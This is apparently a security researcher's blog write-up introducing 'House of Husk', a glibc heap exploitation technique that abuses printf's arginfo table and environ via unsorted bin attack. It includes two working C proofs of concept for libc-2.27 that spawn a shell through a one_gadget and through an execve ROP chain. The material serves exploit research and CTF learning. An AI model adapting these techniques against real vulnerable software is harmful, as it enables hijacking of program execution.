About
Yesterday I came up with an idea of a new heap exploitation technique. As far as I googled it, nobody had published the technique yet and I named it "House of Husk."
The technique makes it easy to control RIP under the condition that we can malloc/free large chunks which have UAF. It introduces and takes advantage of a little known function table rather than introduce a new exploitation vector.
PoC:
Japanese version:
House of Husk
Primitive
register_printf_function
There exists a function named register_printf_function
in libc.
As the name suggests, it registers a new format string for printf
.
This function calls __register_printf_specifier
and it allocates __printf_arginfo_table
in the first time like this:
if (__printf_function_table == NULL) { __printf_arginfo_table = (printf_arginfo_size_function **) calloc (UCHAR_MAX + 1, sizeof (void *) * 2); if (__printf_arginfo_table == NULL) { result = -1; goto out; } __printf_function_table = (printf_function **) (__printf_arginfo_table + UCHAR_MAX + 1); }
On the other hand, some functions with format string, such as printf
and sprintf
, check if __printf_function_table
is registered in the following way.
/* Use the slow path in case any printf handler is registered. */ if (__glibc_unlikely (__printf_function_table != NULL || __printf_modifier_table != NULL || __printf_va_arg_table != NULL)) goto do_positional;
If not, it goes to a fast path which implements the default format string.
If registered, it jumps to the slow path in which the registered format is used.
In order to check the type of arguments, it calls a function registered in __printf_arginfo_table
before using one in __printf_function_table
.
Relative overwrite
I've already explained it in this article of House of Corrosion in Japanese. I'll write it briefly in English here.
The principle is that we make global_max_fast
a big value using unsorted bin attack.
After that, (mostly) all large freed chunks will be listed in "fastbin."
global_max_fast
is supposed to be smaller, not bigger, so it actually overwrites data out of main_arena
.
If you want to overwrite data that is located delta
-byte after fastbin
, you may just free a chunk whose size is
size = (delta * 2) + 0x20
Method 1
Premise
House of Husk doesn't depend on the version of libc as long as it has fastbins and unsorted bin attack is available.
- UAF on a chunk listed in unsorted bin
- 2 large mallocs in addition to some normal (but a bit large) mallocs (In libc-2.27 requires a 0x9420 and 0x1850-byte malloc)
- If we can leak the heap address (which is usually the case), we only need 1-unsortedbin-sized mallocs. (such as malloc(0x500))
- printf with format string (works with an invalid format too like
%?
)
The detailed condition is up to the situation. Read the PoC.
The good
It's useful when we can allocate only large chunks.
As far as I know (and read some writeups) the conventional method requires something like modifying main_arena
and overwriting __malloc_hook
or __free_hook
.
It's hard in that it needs to pass the size check of fastbin.
House of Husk works with some simple steps, which is easy to understand as well, and the size check no longer matters.
Exploit
Just take the following steps:
- Leak libc address
- Make
global_max_fast
large by unsorted bin attack - Write the address of a fake arginfo table to
__printf_arginfo_table
by "relative overwrite" - Write a non-null value to
__printf_function_table
by "relative overwrite" - Call
printf
with format string
We have to prepare a function pointer in the fake arginfo table at the offset which corresponds to the character code of the format string.
In printf_positional
called by printf
, __printf_arginfo_table[c]
will be called and we may get RIP.
PoC
Simple :)
/** * This is a Proof-of-Concept for House of Husk * This PoC is supposed to be run with libc-2.27. */ #include <stdio.h> #include <stdlib.h> #define offset2size(ofs) ((ofs) * 2 - 0x10) #define MAIN_ARENA 0x3ebc40 #define MAIN_ARENA_DELTA 0x60 #define GLOBAL_MAX_FAST 0x3ed940 #define PRINTF_FUNCTABLE 0x3f0658 #define PRINTF_ARGINFO 0x3ec870 #define ONE_GADGET 0x10a38c int main (void) { unsigned long libc_base; char *a[10]; setbuf(stdout, NULL); // make printf quiet /* leak libc */ a[0] = malloc(0x500); /* UAF chunk */ a[1] = malloc(offset2size(PRINTF_FUNCTABLE - MAIN_ARENA)); a[2] = malloc(offset2size(PRINTF_ARGINFO - MAIN_ARENA)); a[3] = malloc(0x500); /* avoid consolidation */ free(a[0]); libc_base = *(unsigned long*)a[0] - MAIN_ARENA - MAIN_ARENA_DELTA; printf("libc @ 0x%lx\n", libc_base); /* prepare fake printf arginfo table */ *(unsigned long*)(a[2] + ('X' - 2) * 8) = libc_base + ONE_GADGET; /* unsorted bin attack */ *(unsigned long*)(a[0] + 8) = libc_base + GLOBAL_MAX_FAST - 0x10; a[0] = malloc(0x500); /* overwrite global_max_fast */ /* overwrite __printf_arginfo_table and __printf_function_table */ free(a[1]); free(a[2]); /* ignite! */ printf("%X", 0); return 0; }
Yay!
ptr@medium-pwn:~/temp$ gcc poc.c && ./a.out libc @ 0x7ffff79e4000 $ whoami ptr
Method 2
Premise
Compred with method 1, printf
is not longer necessary in this method.
Instead, it requires some RW UAFs and more malloc/free.
The good
It's helpful when
- one gadget doesn't work
- the binary is statically linked
- have seccomp
meaning when you want to execute your rop chain.
Exploit
Follow the next steps:
- leak libc address (if necessary)
- unsorted bin attack to overwrite
global_max_fast
- free a chunk whose size corresponds to
environ
- overwrite 1 or 2 bytes of fd to point it to a fake chunk header
- prepare the fake chunk header on the stack by using stack leftover for example
- malloc two times with the size for
environ
- the second malloc returns the stack pointer and you can just do rop (read canary if necessary)
Be careful that environ
is broken when your rop chain works.
PoC
/** * House of Husk * This PoC is supposed to be run with libc-2.27. */ #include <stdio.h> #include <stdlib.h> #define offset2size(ofs) ((ofs) * 2 - 0x10) #define MAIN_ARENA 0x3ebc40 #define MAIN_ARENA_DELTA 0x60 #define GLOBAL_MAX_FAST 0x3ed940 #define ENVIRON 0x3ee098 #define LIBC_BINSH 0x1b3e9a #define LIBC_POP_RDI 0x2155f #define LIBC_POP_RSI 0x23e6a #define LIBC_POP_RDX 0x1b96 #define LIBC_EXECVE 0xe4e30 unsigned long libc_base, addr_env, ofs_fake; char *a[10]; int i; int main (int argc, char **argv, char **envp) { unsigned long fake_size; setbuf(stdin, NULL); setbuf(stdout, NULL); // make printf quiet ofs_fake = (void*)envp - (void*)&fake_size; /* this is fixed */ /* leak libc */ a[0] = malloc(0x500); /* UAF chunk */ a[1] = malloc(offset2size(ENVIRON - MAIN_ARENA)); a[2] = malloc(0x500); /* avoid consolidation */ free(a[0]); libc_base = *(unsigned long*)a[0] - MAIN_ARENA - MAIN_ARENA_DELTA; printf("libc @ 0x%lx\n", libc_base); /* unsorted bin attack */ *(unsigned long*)(a[0] + 8) = libc_base + GLOBAL_MAX_FAST - 0x10; a[0] = malloc(0x500); /* overwrite global_max_fast */ /* leak environ */ free(a[1]); addr_env = *(unsigned long*)a[1]; printf("environ = 0x%lx\n", addr_env); *(unsigned long*)a[1] = addr_env - ofs_fake - 8; /* prepare fake size on stack*/ fake_size = (offset2size(ENVIRON - MAIN_ARENA) + 0x10) | 1; a[1] = malloc(offset2size(ENVIRON - MAIN_ARENA)); /* overwrite return address */ a[3] = malloc(offset2size(ENVIRON - MAIN_ARENA)); for(i = 0; i < 0x20; i++) { *(unsigned long*)(a[3] + i*8) = libc_base + LIBC_POP_RDI + 1; /* ret sled */ } *(unsigned long*)(a[3] + i*8) = libc_base + LIBC_POP_RDX; i++; *(unsigned long*)(a[3] + i*8) = 0; i++; *(unsigned long*)(a[3] + i*8) = libc_base + LIBC_POP_RSI; i++; *(unsigned long*)(a[3] + i*8) = 0; i++; *(unsigned long*)(a[3] + i*8) = libc_base + LIBC_POP_RDI; i++; *(unsigned long*)(a[3] + i*8) = libc_base + LIBC_BINSH; i++; *(unsigned long*)(a[3] + i*8) = libc_base + LIBC_EXECVE; i++; getchar(); return 0; }
Example
Example usage in CTF challenges: